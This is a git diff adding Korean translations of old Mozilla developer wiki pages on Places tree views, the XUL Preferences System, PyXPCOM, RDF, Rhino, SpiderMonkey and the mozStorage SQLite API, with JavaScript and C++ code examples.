+tree.view = treeviewer.QueryInterface(Components.interfaces.nsITreeView);
+
+ +

내장 트리 뷰는 (nsINavHistoryService.idl에 선언된) nsINavHistoryResultViewObserver를 구현한 관찰자(observer) 인터페이스를 붙일 수도 있습니다. 이 관찰자 인터페이스를 이용하면 외부 콤포넌트는 어떤 일이 발생하는지 확인하고 적절한 동작을 취할 수 있습니다. 예를 들어, 플레이스 트리에서는 콘트롤러가 붙어서 무엇인가 트리에 드래그 앤 드롭되는지 알아차릴 수 있습니다. 그리고 나서 적절한 동작을 취합니다.

+ +

뷰 구현하기

+ +

사용자 정의 트리 뷰가 필요할 때는 여러분 자신의 클래스 안에 nsINavHistoryResultTreeViewer를 둘러싸는 것이 가장 쉽습니다. 예를 들어, 특별한 첫 번째 행을 구현하려면 여러분의 개체는 첫 번째 행에 대한 nsITreeView 응답을 제공하고 다른 모든 메시지는 하나 이동한 색인과 함께 내장 트리 뷰에 전달하면 됩니다.

+ +

nsINavHistoryResultNode.viewIndex 속성은 뷰에 사용하기 위하여 명시적으로 제공됩니다. 이 값은 각 노드가 생성될 때 -1로 초기화됩니다. 이 값을 사용하여 보이는 노드는 추적할 수 있습니다. 내장 트리 뷰어는 노드가 켜진 행의 색인을 보관하기 위하여 이 속성을 사용합니다.

+ +

nsINavHistoryResultViewer 또한 관찰자 인터페이스를 가지고 있어서 nsINavHistoryResultViewObserver가 변화를 관찰할 수 있도록 합니다. 그러나 이 관찰자 인터페이스는 트리만을 위한 것입니다. bug 337638는 이를 nsINavHistoryResultTreeViewer 개체로 옮기기 위한 것입니다. nsINavHistoryResultViewer의 다른 구현은 자신의 관찰자를 이용해야 합니다.

+ +
diff --git a/files/ko/preferences_system/examples/index.html b/files/ko/preferences_system/examples/index.html new file mode 100644 index 0000000000..cc536d86f3 --- /dev/null +++ b/files/ko/preferences_system/examples/index.html @@ -0,0 +1,32 @@ +--- +title: Examples +slug: Preferences_System/Examples +tags: + - NeedsContent + - Preferences system +--- +

{{ Preferences_System_TOC() }} +

+

Preferences 대화상자 예

+
<?xml version="1.0"?>
+<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
+
+<prefwindow id="stockwatcher2-prefs"
+     title="StockWatcher 2 Options"
+     xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+
+<prefpane id="sw2-stock-pane" label="Stock Settings">
+  <preferences>
+    <preference id="pref_symbol" name="stockwatcher2.symbol" type="string"/>
+  </preferences>
+
+  <hbox align="center">
+    <label control="symbol" value="Stock to watch: "/>
+    <textbox preference="pref_symbol" id="symbol" maxlength="4"/>
+  </hbox>
+</prefpane>
+
+</prefwindow>
+
+

같이 보기: 확장기능에 preferences 추가하기 +

{{ languages( { "en": "en/Preferences_System/Examples", "ja": "ja/Preferences_System/Examples" } ) }} diff --git a/files/ko/preferences_system/index.html b/files/ko/preferences_system/index.html new file mode 100644 index 0000000000..4a1d1f2717 --- /dev/null +++ b/files/ko/preferences_system/index.html @@ -0,0 +1,49 @@ +--- +title: Preferences System +slug: Preferences_System +tags: + - Preferences system + - XUL +--- +

이 문서는 Aviary Toolkit의 새 preferences system을 설명합니다. 이 시스템을 쓰면 여러 플랫폼(Windows, MacOS X, GNOME)에서 알맞게 동작하고 표시하는 preferences 창을 만들 수 있습니다. +

주의: Preferences System은 오직 Firefox/Thunderbird 1.5(alpha와 beta 포함)에서 시작할 수 있습니다. Firefox 1.0 기반 응용프로그램과 확장기능에서는 쓸 수 없습니다. +

새 시스템은 XUL 요소와 속성 몇 개로 구현됩니다. 이에 관한 참조 정보는 아래 링크 가운데 하나를 클릭하면 이용할 수 있습니다. +

Preferences System 문서:

+ +

사용

+

this will eventually be moved from here +

전형이 될 만한 preferences 창을 위한 코드는 아래처럼 보일 수 있습니다: +

+
<prefwindow id="appPreferences"
+            xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+  <prefpane id="pane1" label="&pane1.title;">
+    <preferences>
+      <preference id="pref1" name="pref.name" type="bool"/>
+    </preferences>
+
+   .. 위 preferences를 참조하는 UI 요소, 예를 들면:
+    <checkbox id="check1" preference="pref1"
+              label="&check1.label;" accesskey="&check1.accesskey;"/>
+  </prefpane>
+
+  <prefpane id="pane2" label="&pane2.title;" src="chrome://uri/to/pane.xul"/>
+</prefwindow>
+
+

Pane content는 inline이나 dynamic 오버레이(overlay)를 거쳐 로드될 pane content를 위해 공급된 외부 chrome URI로 지정할 수 있습니다. 여러분은 대상으로 삼는 플랫폼을 위한 HIG를 읽는데 주의하고 서로 다른 창 제목을 알맞게 설정하기 위해 필요하다면 XUL 전처리기(preprocessor)를 써야 합니다. 또한 창 크기가 선택(된) panel이 바뀜에 따라 바뀌지 않는 플랫폼(예 Windows)을 위한 높이(em으로)뿐만 아니라, 각 대상 플랫폼을 위한 전처리기를 써서 알맞게 창 너비(em으로)를 지정하는데 주의해야 합니다. +

+

XULRunner 응용프로그램에서 쓰는 법

+

XULRunner 응용프로그램에서 preferences 대화상자를 열 때는, 반드시 다음사항을 점검하세요: +

+ +
pref("browser.preferences.animateFadeIn", false);
+pref("browser.preferences.instantApply", true);
+
+ +
var features = "chrome,titlebar,toolbar,centerscreen,modal";
+window.openDialog(url, "Preferences", features);
+
+

Bugzilla

+

Preferences 바인딩의 bug를 위한 컴포넌트(하지만 Firefox/Thunderbird Options UI용은 아님)는 Toolkit:Preferences (file a bug list open bugs) +

diff --git a/files/ko/pyxpcom/index.html b/files/ko/pyxpcom/index.html new file mode 100644 index 0000000000..e085b157f1 --- /dev/null +++ b/files/ko/pyxpcom/index.html @@ -0,0 +1,62 @@ +--- +title: PyXPCOM +slug: PyXPCOM +tags: + - PyXPCOM + - 'XPCOM:Language Bindings' +translation_of: Mozilla/Tech/XPCOM/Language_bindings/PyXPCOM +--- +

+

+
+

PyXPCOM파이썬XPCOM 사이를 통신할 수 있게 하고, 파이썬 애플리케이션이 XPCOM 객체에 접근할 수 있게 하고, XPCOM이 XPCOM 인터페이스로 구현된 어떠한 파이썬 클래스에도 접근할 수 있게 합니다. PyXPCOM을 이용하면, 개발자는 파이썬 애플리케이션으로 XPCOM이나 임베디드 Gecko와 대화할 수 있습니다. PyXPCOM는 JavaXPCOM(Java-XPCOM bridge)나 XPConnect(JavaScript-XPCOM bridge)와 유사합니다. +

파이썬 클래스와 인터페이스: 모질라는 엠베더와 컴포넌트 개발자가 이용할 수 있는 많은 외부 인터페이스를 정의합니다. PyXPCOM은 그들의 인터페이스를 파이썬 인터페이스처럼 접근할 수 있게 합니다. 또한 PyXPCOM은 XPCOM 헬퍼 함수와 같이, 파이썬에서 XPCOM과 Gecko를 초기화하고 종료하는 함수에 접근할 수 있는 몇몇 클래스를 포함하고 있습니다. +

+
+ + +
+

Documentation

+
PyXPCOM 빌드하기 +
PyXPCOM를 빌드하는 방법입니다. +
+
파이썬 XPCOM 컴포넌트 만들기 +
파이썬으로 간단한 XPCOM 컴포넌트를 어떻게 만드는지 보여주는 예제 +
+
PyXPCOM 알기 +
PyXPCOM은 XPCOM과 파이썬을 연결하는 기술입니다. 이 기사는 당신이 PyXPCOM을 시작할 수 있게 합니다. +
+

NOTE: The links to Part II and III of this series are broken and I cannot find them on the IBM site. Please update this page if/when the links can be found. +

모두 보기... +

+

역사

+

PyXPCOM은 ActiveState Tool Corporation에 의해 처음 개발되었고, 그들의 Komodo 프로젝트에서 나왔습니다. 현재 릴리즈는 모질리 빌드 시스템에 통합되었습니다. +

+
+

커뮤니티

+
  • 모질라 포럼 보기... +
+

+

+ +

소스 코드

+
  • PyXPCOM 코드는 trunk의 extensions/python/xpcom/ 디렉토리에서 받을 수 있습니다. +
  • PyXPCOM는 기본적으로 빌드되지 않습니다. PyXPCOM를 빌드하려면, Building PyXPCOM 문서를 보세요. +
+

관련 주제

+
XPCOM +
PyDOM: 파이썬으로 JavaScript를 대체하기 +
+
+

Categories +

Interwiki Language Links +


+

diff --git a/files/ko/rdf/index.html b/files/ko/rdf/index.html new file mode 100644 index 0000000000..7cd149a3f5 --- /dev/null +++ b/files/ko/rdf/index.html @@ -0,0 +1,56 @@ +--- +title: RDF +slug: RDF +tags: + - RDF +translation_of: Archive/Web/RDF +--- +
+

Resource Description Framework (RDF) 는 XML 응용 프로그램으로 종종 구현되는 메타데이터 모델을 위한 명세의 일종입니다. RDF 관련 명세는 World Wide Web Consortium (W3C) 에서 유지됩니다. +

RDF 메타데이터 모델은 주어-술어-목적어 (subject-predicate-object) 형식의 표현으로 (RDF 용어로는 트리플 이라고 합니다) 자원에 대한 정보를 표현하자는 아이디어에 기반한 것입니다. 주어(subject)는 설명하고자 하는 자원이고, 술어(predicate)는 그 자원의 특징, 정보 혹은 종종 다른 주어나 목적어와의 관계를 표현합니다. 목적어(object)는 특징의 값이나 관계의 대상 등이 됩니다. +

+
+ + +
+

Documentation

+
Mozilla RDF 엔진의 방향 +
이 프레젠테이션은 새로운 Mozilla RDF 엔진의 개발 내용을 보여줍니다. 여기에는 공개 웹 컨텐츠를 위한 RDF API 의 공개 계획과 성능 및 정확도의 향상 등의 내용이 포함됩니다. +
+
RDF 란 무엇인가? +
XML.com 에 있는 Resource Description Framework 에 대한 Tim Bray 의 소개글. +
+
RDF in Mozilla FAQ +
Mozilla 의 Resource Description Framework 에 대한 자주 묻는 질문들 (FAQ). +
+
RDF in Fifty Words or Less +
Resource Description Framework 에 대한 간략한 소개. +
+
RDF 데이터 소스 How-To +
Mozilla 의 RDF 구현을 통해 어떻게 고유한 클라이언트 단의 데이터 소스를 생성하는 지에 대한 cookbook 스타일의 문서. +
+
메모리 상의 데이터 소스 모으기 +
메모리 상의 데이터 소스에 XPCOM 모음(aggregation) 사용하기. +
+

모두 보기... +

+
+

커뮤니티

+
  • Mozilla 포럼 보기... +
+

{{ DiscussionList("dev-tech-rdf", "mozilla.dev.tech.rdf") }} +

+ +

개발 도구

+ +

관련 주제

+
XML +
+
+

Categories +

Interwiki Language Links +


+

{{ languages( { "en": "en/RDF", "fr": "fr/RDF", "it": "it/RDF", "ja": "ja/RDF", "pl": "pl/RDF", "pt": "pt/RDF" } ) }} diff --git a/files/ko/rhino/index.html b/files/ko/rhino/index.html new file mode 100644 index 0000000000..5a0ac0f06d --- /dev/null +++ b/files/ko/rhino/index.html @@ -0,0 +1,18 @@ +--- +title: Rhino +slug: Rhino +tags: + - Java + - JavaScript + - Rhino +translation_of: Mozilla/Projects/Rhino +--- +

Image:rhino.jpg

+

Rhino 는 순수 자바 언어로 된 JavaScript 오픈소스 구현체입니다. 전형적으로 자바 애플리케이션에 적용되어서 최종 사용자에게 스크립팅을 제공합니다. J2SE 6에는 기본 자바 스크립팅 엔진으로 포함되어 있습니다.

+

Rhino 다운로드

+

소스와 바이너리 얻는 방법 

+

Rhino 문서

+

스크립트 작성자와 포함하기 위한 분들을 위한 Rhino에 관련된 정보.

+

Rhino 도움말

+

막혔을 때 도움이 되는 것.

+

{{ languages( { "ja": "ja/Rhino" } ) }}

diff --git a/files/ko/sandbox/index.html b/files/ko/sandbox/index.html new file mode 100644 index 0000000000..96b6ad4f75 --- /dev/null +++ b/files/ko/sandbox/index.html @@ -0,0 +1,14 @@ +--- +title: 샌드박스 +slug: Sandbox +translation_of: Sandbox +--- +

 

+ +

{{IncludeSubnav("/ko/docs/MDN")}}

+ +

{{DocStatusQuickLinks()}}

+ +

 

+ +

{{DocStatus("Learn")}}

diff --git a/files/ko/scripting_plugins/index.html b/files/ko/scripting_plugins/index.html new file mode 100644 index 0000000000..f66cb9a953 --- /dev/null +++ b/files/ko/scripting_plugins/index.html @@ -0,0 +1,6 @@ +--- +title: Scripting Plugins +slug: Scripting_Plugins +translation_of: Plugins/Guide/Scripting_plugins +--- +

{{wiki.localize('System.API.page-generated-for-subpage')}}

diff --git a/files/ko/spidermonkey/index.html b/files/ko/spidermonkey/index.html new file mode 100644 index 0000000000..a5b5389490 --- /dev/null +++ b/files/ko/spidermonkey/index.html @@ -0,0 +1,67 @@ +--- +title: SpiderMonkey +slug: SpiderMonkey +tags: + - SpiderMonkey +translation_of: Mozilla/Projects/SpiderMonkey +--- +
SpiderMonkey는 C로 만든 GeckoJavaScript 엔진입니다. 다양한 Mozilla 제품에 쓰이고 MPL/GPL/LGPL 세 라이센스 아래서 쓸 수 있습니다.
+ + + + + + + + +
+

문서

+ +
+
JSAPI Reference
+
SpiderMonkey API 레퍼런스.
+
+ +
+
JSDBGAPI Reference
+
SpiderMonkey 디버깅 API 레퍼런스.
+
+ +
+
JavaScript C Engine Embedder's Guide
+
이 길잡이(guide)는 SpiderMonkey 개요를 제공하고 자바스크립트를 인식하게끔 어플리케이션에서 엔진 호출을 임베드할 수 있는 법을 설명합니다.
+
+ +
+
How to embed the JavaScript engine
+
SpiderMonkey 임베딩에 관한 빈약한(bare-bones) 입문서.
+
+ +
+
SpiderMonkey Garbage Collection Tips
+
가비지 컬렉터 함정(pitfall)을 피하는 팁.
+
+ +
+
Introduction to the JavaScript shell
+
자바스크립트 쉘을 구하고 빌드하고 쓰는 법.
+
+ +

View All...

+
+

커뮤니티

+ +
    +
  • Mozilla 포럼 보기...
  • +
+ +

관련 주제

+ +
+
JavaScript
+
+
+ +

Categories

+ +

Interwiki Language Links

diff --git a/files/ko/storage/index.html b/files/ko/storage/index.html new file mode 100644 index 0000000000..15a47c1be3 --- /dev/null +++ b/files/ko/storage/index.html @@ -0,0 +1,396 @@ +--- +title: Storage +slug: Storage +tags: + - Guide + - Interfaces + - Storage + - Toolkit API +translation_of: Mozilla/Tech/XPCOM/Storage +--- +

저장소(Storage)SQLite 데이터베이스 API입니다. 이는 신뢰할 수 있는 호출자에게 제공되는데 여기에는 확장과 Firefox 콤포넌트만 해당합니다.

+ +

API는 현재 "확정되지 않은 상태(unfrozen)"로서 언제든지 바뀔 수 있습니다. 사실 Storage 기능이 도입되고 파이어폭스 릴리즈 때마다 변화가 있었습니다. 그리고 앞으로도 변화가 있을 것입니다.

+ +
참고: Storage는 웹 페이지가 영속적인 데이터를 저장하는데 사용하는 DOM:Storage 기능이나 (확장이 사용하기 위한 XPCOM 저장소 유틸리티인) Session store API 기능과는 다릅니다.
+ +

시작하기

+ +

이 문서는 mozStorage API와 sqlite의 몇 가지 특성에 대해 다룹니다. SQL이나 "일반적인" sqlite에 대해서는 다루지 않습니다. 하지만, 참고 섹션에서 유용한 링크를 찾을 수 있습니다. mozStorage API에 대한 도움을 얻으려면 news.mozilla.org 뉴스 서버의 mozilla.dev.apps.firefox 그룹으로 질문을 올릴 수 있습니다. 버그를 신고하려면 Bugzilla (product "Toolkit", component "Storage")를 이용하십시오.

+ +

이제 시작하겠습니다. mozStorage는 많은 다른 데이터베이스 시스템과 유사하게 설계되었습니다. 사용을 위한 전반적인 절차는 다음과 같습니다.

+ +
    +
  1. Storage 서비스 얻기
  2. +
  3. 선택한 데이터베이스로 접속을 엽니다.
  4. +
  5. 접속에서 실행할 구문을 생성합니다.
  6. +
  7. 필요한 경우에 매개 변수를 구문에 대입합니다.
  8. +
  9. 구문을 실행합니다.
  10. +
  11. 오류를 확인합니다.
  12. +
  13. 구문을 초기화합니다.
  14. +
+ +

데이터베이스에 연결하기

+ +

아래의 자바스크립트의 예제는 profile디렉토리의 my_db_file_name.sqlite를 여는 예제입니다.

+ +
var file = Components.classes["@mozilla.org/file/directory_service;1"]
+                     .getService(Components.interfaces.nsIProperties)
+                     .get("ProfD", Components.interfaces.nsIFile);
+file.append("my_db_file_name.sqlite");
+
+var storageService = Components.classes["@mozilla.org/storage/service;1"]
+                        .getService(Components.interfaces.mozIStorageService);
+var mDBConn = storageService.openDatabase(file); // Will also create the file if it does not exist
+
+ +

똑같이 C++에서는 아래와 같습니다.:

+ +
nsCOMPtr<nsIFile> dbFile;
+rv = NS_GetSpecialDirectory(NS_APP_USER_PROFILE_50_DIR,
+                            getter_AddRefs(dbFile));
+NS_ENSURE_SUCCESS(rv, rv);
+rv = dbFile->Append(NS_LITERAL_STRING("my_db_file_name.sqlite"));
+NS_ENSURE_SUCCESS(rv, rv);
+nsCOMPtr<mozIStorageService> dbService =
+  do_GetService(MOZ_STORAGE_SERVICE_CONTRACTID, &rv);
+NS_ENSURE_SUCCESS(rv, rv);
+
+nsCOMPtr<mozIStorageConnection> dbConn;
+rv = dbService->OpenDatabase(dbFile, getter_AddRefs(dbConn));
+NS_ENSURE_SUCCESS(rv, rv);
+
+ +
Note:  MOZ_STORAGE_SERVICE_CONTRACTIDstorage/build/mozStorageCID.h에서 정의 되어있습니다..
+ +

+

Warning: 아마도 sqlite database라는 의미로 '.sdb'라고 확장자를 쓰고 싶을 겁니다. 그러나 이 건 추천하고 싶지 않네요. 이 확장자는윈도우즈에서는 'Application Compatibility Database'라는 의미로 특별히 취급하고 있습니다. 그래서 이 확장자의 파일이 바뀌면 시스템 복원 기능이 자동으로 백업을 하게 됩니다. 그러므로 이 확장자를 쓰는 것은 파일시스템에 오버헤드를 발행하게 만듭니다.

+

+ +

연결 끊기

+ +

동기 트랜젝션을 사용 중에 연결을 끊으려면 mozIStorageConnection.close() 함수를 사용하세요. 비동기 트랜젝션을 사용한다면 mozIStorageConnection.asyncClose() 함수를 사용해야 합니다. 후자는 모든 연결이 끊어지기 전의 모든 진행중인 트랜젝션에 사용할 수 있습니다. 그리고 부차적으로 연결이 끊어졌을 때 콜백함수를 사용할 수 있습니다.

+ +

구문

+ +

아래 단계에 따라 SQLite 데이터베이스에 구문을 생성하고 실행할 수 있습니다. 전체 레퍼런스는 mozIStorageStatement를 참고하십시오.

+ +

구문생성

+ +

SQL문을 실행하는 방법은 두가지가 있습니다.

+ +

실행 결과를 반환하지 않는 방법

+ +

실행한 결과가 있어야 하는 경우 자바스크립트에서는 mozIStorageConnection.executeSimpleSQL() API를 사용하세요. :

+ +
dbConn.executeSimpleSQL("CREATE TEMP TABLE table_name (column_name INTEGER)");
+
+ +

마찬가지로 C++에서는 아래와 같습니다.:

+ +
rv = mDBConn->ExecuteSimpleSQL(NS_LITERAL_CSTRING("CREATE TEMP TABLE table_name (column_name INTEGER)"));
+NS_ENSURE_SUCCESS(rv, rv);
+ +

실행결과를 보여주는 방법

+ +

반면 실행 결과물이 필요한 경우 자바스크립트에서는 mozIStorageConnection.createStatement() API를 사용하세요.:

+ +
var statement = dbConn.createStatement("SELECT * FROM table_name WHERE column_name = :parameter");
+
+ +

This example uses a named placeholder called "parameter" to be bound later (described in Binding Parameters).  Similarly, the C++ looks like this:

+ +
nsCOMPtr<mozIStorageStatement> statement;
+rv = dbConn->CreateStatement(NS_LITERAL_CSTRING("SELECT * FROM table_name WHERE column_name = ?1"),
+                             getter_AddRefs(statement));
+NS_ENSURE_SUCCESS(rv, rv);
+
+ +

This example uses the numbered placeholder indexed by zero for a parameter to be bound later (described in Binding Parameters).

+ +

주의: Numerical indexes for parameters are always one less than the number you write in the SQL.  The use of numerical indexes for parameters is strongly discouraged in JavaScript where named parameters are much easier to use.

+ +

주의: If you need to execute a statement multiple times, caching the result of createStatement will give you a noticeable performance improvement because the SQL query does not need to be parsed each time.

+ +

매개 변수 대입

+ +

일반적으로 실행 중에 매개 변수를 포함한 SQL 문자열을 생성하는 것보다 모든 매개 변수를 별도로 대입하는 것이 가장 좋은 방법입니다. 다른 무엇보다도 이는 SQL 주입 공격을 방지할 수 있는데, 대입한 매개 변수는 절대 SQL로 실행되지 않기 때문입니다.

+ +

여러분은 플레이스홀더를 포함한 구문에 매개 변수를 대입합니다. 플레이스홀더는 색인으로 참조하는데, "?1"로 시작하고 그 다음 "?2"...와 같습니다. 플레이스홀더를 대입하려면 구문 함수 BindXXXParameter(0) BindXXXParameter(1)... 를 사용합니다.

+ +
+
+
주의: 플레이스홀더의 색인은 1부터 시작합니다. 대입 함수로 전달하는 정수는 0부터 시작합니다. 이는 "?1"가 매개 변수 0에 대응하고 "?2"가 매개 변수 1에 대응한다는 것을 의미합니다.
+
+
+ +

"?xx" 대신 ":example"와 같은 이름있는 매개 변수를 사용할 수도 있습니다.

+ +

플레이스홀더는 하나의 SQL 구문에 여러 번 나타날 수 있으며 모든 인스턴스는 대입한 값으로 대체합니다. 대입하지 않은 매개 변수는 NULL로 해석합니다.

+ +

아래 예제는 bindUTF8StringParameter()bindInt32Parameter()만 사용하고 있습니다. 모든 대입 함수 목록은 mozIStorageStatement를 참고하시기 바랍니다.

+ +

C++ 예제:

+ +
nsCOMPtr<mozIStorageStatement> statement;
+rv = mDBConn->CreateStatement(NS_LITERAL_CSTRING("SELECT * FROM foo WHERE a = ?1 AND b > ?2"),
+                              getter_AddRefs(statement));
+NS_ENSURE_SUCCESS(rv, rv);
+rv = statement->BindUTF8StringParameter(0, "hello"); // "hello" will be substituted for "?1"
+NS_ENSURE_SUCCESS(rv, rv);
+rv = statement->BindInt32Parameter(1, 1234); // 1234 will be substituted for "?2"
+NS_ENSURE_SUCCESS(rv, rv);
+
+ +

자바스크립트 예제:

+ +
var statement = mDBConn.createStatement("SELECT * FROM foo WHERE a = ?1 AND b > ?2");
+statement.bindUTF8StringParameter(0, "hello");
+statement.bindInt32Parameter(1, 1234);
+
+ +

이름있는 매개 변수를 사용하는 경우에는 getParameterIndex 메소드를 사용하여 이름있는 매개 변수의 색인을 얻어야 합니다. 자바스크립트 예제는 다음과 같습니다.

+ +
var statement = mDBConn.createStatement("SELECT * FROM foo WHERE a = :myfirstparam AND b > :mysecondparam");
+
+var firstidx = statement.getParameterIndex(":myfirstparam");
+statement.bindUTF8StringParameter(firstidx, "hello");
+
+var secondidx = statement.getParameterIndex(":mysecondparam");
+statement.bindInt32Parameter(secondidx, 1234);
+
+ +

같은 질의에 이름있는 매개 변수와 색인된 매개 변수를 혼합할 수도 있습니다.

+ +
var statement = mDBConn.createStatement("SELECT * FROM foo WHERE a = ?1 AND b > :mysecondparam");
+
+statement.bindUTF8StringParameter(0, "hello");
+// you can also use
+// var firstidx = statement.getParameterIndex("?1");
+// statement.bindUTF8StringParameter(firstidx, "hello");
+
+var secondidx = statement.getParameterIndex(":mysecondparam");
+statement.bindInt32Parameter(secondidx, 1234);
+
+ +

IN ( value-list ) 표현식과 함께 WHERE 절을 사용하는 경우에 대입은 동작하지 않게 됩니다. 대신 문자열을 생성하시기 바랍니다. 사용자 입력을 처리하는 경우가 아니라면 보안 문제는 없습니다.

+ +
var ids = "3,21,72,89";
+var sql = "DELETE FROM table WHERE id IN ( "+ ids +" )";
+
+ +

구문 실행

+ +

구문을 실행하는 주 방법은 mozIStorageStatement.executeStep입니다. 이 함수는 구문이 생성하는 모든 결과 행을 나열할 수 있도록 해주고 더 이상 결과가 없을 때를 알려줍니다.

+ +

executeStep를 호출할 후에 mozIStorageValueArray에서 적절한 getter 함수를 사용하여 결과 행의 값을 얻을 수 있습니다(mozIStorageStatement는 mozIStorageValueArray를 구현합니다). 아래의 예제는 getInt32()만 사용하고 있습니다.

+ +

값의 형식은 지정한 열의 형식을 반환하는 mozIStorageValueArray.getTypeOfIndex로 구할 수 있습니다. 그러나, 주의하십시오. sqlite는 형식있는 데이터베이스가 아닙니다. 열에 선언한 형식과 무관하게 모든 셀에 아무 형식이나 입력할 수 있습니다. 다른 형식을 요청하면 sqlite는 최선을 다하여 그것을 변환하고 변환이 불가능하면 기본 값으로 처리합니다. 그러므로 형식 오류를 얻을 수 없으며 이상한 데이터 출력을 얻을 수도 있습니다.

+ +

C++ 코드는 AsInt32, AsDouble과 같은 함수를 이용할 수도 있는데, 이는 더 편리한 C++ 반환 값으로 값을 반환합니다. 하지만, 색인이 잘못된 경우에도 오류가 발생하지 않으므로 주의하십시오. 다른 오류가 발생하는 것도 불가능한데, sqlite는 사리에 맞지 않는 경우에도 항상 형식을 변환하기 때문입니다.

+ +

C++ 예제:

+ +
PRBool hasMoreData;
+while (NS_SUCCEEDED(statement->ExecuteStep(&hasMoreData)) && hasMoreData) {
+  PRInt32 value = statement->AsInt32(0);
+  // use the value...
+}
+
+ +

자바스크립트 예제:

+ +
while (statement.executeStep()) {
+  var value = statement.getInt32(0); // use the correct function!
+  // use the value...
+}
+
+ +

mozIStorageStatement.execute()는 구문에서 얻을 데이터가 없는 경우에 편리한 함수입니다. 이는 구문을 한 번 실행하고 초기화합니다. 이는 삽입 구문에 대해 유용한데 코드를 매우 간단하게 하기 때문입니다.

+ +
var statement = mDBConn.createStatement("INSERT INTO my_table VALUES (?1)");
+statement.bindInt32Parameter(52);
+statement.execute();
+
+ +

파일 Image:TTRW2.zip은 데이터베이스에 대하여 SQL SELECT를 실행하는 간단하지만 완전한 자바스크립트입니다.

+ +

구문 초기화

+ +

더 이상 사용하지 않는 구문을 초기화하는 것은 중요합니다. 초기화되지 않은 쓰기 구문은 테이블에 잠금을 유지하여 다른 구문이 테이블을 접근하는 것을 막게 됩니다. 초기화되지 않은 읽기 구문은 쓰기를 막게 됩니다.

+ +

구문 개체가 해제되면 해당 데이터베이스 구문은 닫힙니다. C++을 사용 중인 경우, 모든 참조가 소멸된다는 것을 알고 있다면 따로 구문을 초기화할 필요가 없습니다. 또한 mozIStorageStatement.execute()를 사용하는 경우에도 따로 구문을 초기화할 필요가 없습니다. 이 함수는 여러분을 대신하여 구문을 초기화합니다. 나머지 경우에는 mozIStorageStatement.reset()를 호출하십시오.

+ +

자바스크립트 호출자는 확실하게 구문을 초기화해야 합니다. 특히 예외에 대해서 주의하십시오. 예외가 발생하거나 데이터베이스에 접근하는 것이 불가능해진 경우에도 구문을 초기화하는 것을 확실하게 해야 합니다. 구문 초기화는 비교적 가벼운 작업이고 이미 초기화된 경우에도 아무런 문제가 발생하지 않기 때문에 불필요한 초기화에 대해서 걱정할 필요는 없습니다.

+ +
var statement = connection.createStatement(...);
+try {
+  // use the statement...
+} finally {
+  statement.reset();
+}
+
+ +

C++ 호출자도 같은 일을 해야 합니다. storage/public/mozStorageHelper.h에는 mozStorageStatementScoper라고 불리우는 유효 영역이 있는 개체가 있는데, 이 개체는 둘러싼 영역을 빠져 나갈 때 주어진 구문이 초기화되는 것을 보장합니다. 가능하면 이 개체를 사용하는 것이 바람직합니다.

+ +
void someClass::someFunction()
+{
+  mozStorageStatementScoper scoper(mStatement)
+  // use the statement
+}
+
+ +

최종 insert 아이디

+ +

연결의 lastInsertRowID 속성을 이용하면 데이터베이스의 마지막 INSERT 작업에서 할당한 아이디(rowid)를 구할 수 있습니다.
+ 이는 여러분이 테이블에 INTEGER PRIMARY KEYINTEGER PRIMARY KEY AUTOINCREMENT로 지정된 열을 가지고 있을 때 유용한데, 이 경우 SQLite는 여러분이 값을 제공하지 않으면 삽입하는 각 행에 대하여 자동으로 값을 할당합니다. 반환 값은 자바스크립트에서는 number 형식이고 C++에서는 long long입니다.

+ +

lastInsertRowID를 이용하는 자바스크립트 예제는 다음과 같습니다.

+ +
var sql = "INSERT INTO contacts_table (number_col, name_col) VALUES (?1, ?2)"
+var statement = mDBConn.createStatement(sql);
+    statement.bindUTF8StringParameter(0, number);
+    statement.bindUTF8StringParameter(1, name);
+    statement.execute();
+    statement.reset();
+
+var rowid = mDBConn.lastInsertRowID;
+
+ +

트랜잭션

+ +

mozIStorageConnection는 트랜잭션을 시작하고 끝내는 함수를 가지고 있습니다. 명시적으로 트랜잭션을 사용하지 않으면 각 구문에 대하여 암시적인 트랜잭션이 생성됩니다. 이는 성능과 밀접한 관계가 있습니다. 각 트랜잭션에 대해 부하가 걸리는데 특히 커밋에 대해서 그렇습니다. 그러므로 하나의 행에서 여러 구문을 실행할 때 하나의 트랜잭션으로 처리하면 커다란 성능 향상을 얻을 수 있습니다. 성능에 대한 자세한 정보는 Storage:Performance를 참고하십시오.

+ +

다른 데이터베이스 시스템과의 주요한 차이점은 sqlite가 중첩 트랜잭션을 지원하지 않는다는 것입니다. 이는 하나의 트랜잭션을 열면 다른 트랜잭션을 열 수 없다는 뜻입니다. mozIStorageConnection.transactionInProgress를 확인하면 현재 진행 중인 트랜잭션이 있는지 알 수 있습니다.

+ +

SQL 구문으로 "BEGIN TRANSACTION"과 "END TRANSACTION"을 직접 실행할 수도 있습니다(이는 함수를 호출할 때 연결에서 실행하는 것입니다). 하지만 mozIStorageConnection.beginTransaction와 관련 함수를 사용하는 것이 바람직한데, 트랜잭션의 상태를 연결에 저장하기 때문입니다. 그렇지 않으면 transactionInProgress 속성은 잘못된 값을 갖게 됩니다.

+ +

sqlite는 다음과 같은 트랜잭션 형식을 가지고 있습니다.

+ + + + + + + +

이 트랜잭션의 형식을 mozIStorageConnection.beginTransactionAs로 전달하여 여러분에게 필요한 트랜잭션의 종류를 지정할 수 있습니다. 다른 트랜잭션이 이미 시작되었다면 이 작업은 성공하지 못한다는 것을 잊지 마십시오. 보통 기본 TRANSACTION_DEFERRED 형식으로 충분하며 다른 형식이 필요한 이유를 제대로 알지 못한다면 사용해서는 안됩니다. 더 자세한 정보는 BEGIN TRANSACTIONlocking에 대한 sqlite 문서를 참고하십시오.

+ +
var ourTransaction = false;
+if (!mDBConn.transactionInProgress) {
+  ourTransaction = true;
+  mDBConn.beginTransactionAs(mDBConn.TRANSACTION_DEFERRED);
+}
+
+// ... use the connection ...
+
+if (ourTransaction)
+  mDBConn.commitTransaction();
+
+ +

C++ 코드에서는 storage/public/mozStorageHelper.h에 정의된 mozStorageTransaction 도우미 클래스를 사용할 수 있습니다. 이 클래스는 유효 범위에 들어오면 지정한 연결에서 지정한 형식의 트랜잭션을 시작하고 유효 범위를 벗어나면 트랜잭션을 커밋하거나 롤백합니다. 트랜잭션이 이미 진행 중이라면 트랜잭션 도우미 클래스는 어떤 작업도 하지 않습니다.

+ +

